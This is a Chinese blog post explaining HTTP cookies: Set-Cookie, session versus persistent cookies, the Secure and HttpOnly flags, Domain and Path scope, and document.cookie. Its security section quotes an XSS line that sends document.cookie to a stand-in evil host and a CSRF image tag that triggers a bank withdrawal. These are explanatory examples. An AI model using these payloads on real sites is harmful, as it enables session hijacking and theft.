關於Cookie的那些事

zifeiyu發表於2019-04-11

由於http協議的無狀態特性導致現代網路使用cookie成為必然。

Cookie主要用於以下三個方面:

  • 會話狀態管理
  • 個性化設定
  • 瀏覽器行為跟蹤

在沒有更多的瀏覽器本地儲存方案之前,cookie一直作為瀏覽器本地儲存使用,儲存大量的本地資料。這會導致每次請求都攜帶大量不必要的cookie資訊,帶來額外的效能開銷。隨著HTML5的推廣,新的儲存方案Web storage API已經逐漸取代了Cookie的儲存功能,cookie利用其可以隨請求自動攜帶的特性可以專心彌補http的無狀態問題。就像首都北京不斷的釋放自己的非首都功能一樣。

建立Cookie

當伺服器收到HTTP請求時,伺服器可以在響應頭裡面新增一個Set-Cookie選項。瀏覽器收到響應後通常會儲存下Cookie,之後對該伺服器每一次請求中都通過Cookie請求頭部將Cookie資訊傳送給伺服器。另外,Cookie的過期時間、域、路徑、有效期、適用站點都可以根據需要來指定。

Set-Cookie響應頭部和Cookie請求頭部

伺服器使用Set-Cookie響應頭部向使用者代理(一般是瀏覽器)傳送Cookie資訊。一個簡單的Cookie可能像這樣: Set-Cookie: <cookie名>=<cookie值>

會話期Cookie

會話期Cookie是最簡單的Cookie:瀏覽器關閉之後它會被自動刪除,也就是說它僅在會話期內有效。 Set-Cookie: id=a3fWa;

永續性Cookie

和關閉瀏覽器便失效的會話期Cookie不同,永續性Cookie可以指定一個特定的過期時間(Expires)或有效期(Max-Age)。 Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Cookie的Secure 和HttpOnly 標記

標記為 Secure 的Cookie只應通過被HTTPS協議加密過的請求傳送給服務端。但即便設定了 Secure 標記,敏感資訊也不應該通過Cookie傳輸,因為Cookie有其固有的不安全性,Secure 標記也無法提供確實的安全保障。從 Chrome 52 和 Firefox 52 開始,不安全的站點(http:)無法使用Cookie的 Secure 標記。

為避免跨域指令碼 (XSS) 攻擊,通過JavaScript的 Document.cookie API無法訪問帶有 HttpOnly 標記的Cookie,它們只應該傳送給服務端。如果包含服務端 Session 資訊的 Cookie 不想被客戶端 JavaScript 指令碼呼叫,那麼就應該為其設定 HttpOnly 標記。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Cookie的作用域

Domain 和 Path 標識定義了Cookie的作用域:即Cookie應該傳送給哪些URL。

Domain 標識指定了哪些主機可以接受Cookie。如果不指定,預設為當前文件的主機(不包含子域名)。如果指定了Domain,則一般包含子域名。

例如,如果設定 Domain=mozilla.org,則Cookie也包含在子域名中(如developer.mozilla.org)。

Path 標識指定了主機下的哪些路徑可以接受Cookie(該URL路徑必須存在於請求URL中)。以字元 %x2F ("/") 作為路徑分隔符,子路徑也會被匹配。

例如,設定 Path=/docs,則以下地址都會匹配:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

JavaScript通過Document.cookies訪問Cookie 通過Document.cookie屬性可建立新的Cookie,也可通過該屬性訪問非HttpOnly標記的Cookie。

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
複製程式碼

安全

會話劫持和XSS 在Web應用中,Cookie常用來標記使用者或授權會話。因此,如果Web應用的Cookie被竊取,可能導致授權使用者的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程式漏洞進行XSS攻擊。 (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; 跨站請求偽造(CSRF) 比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行伺服器傳送提現的請求: <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

相關文章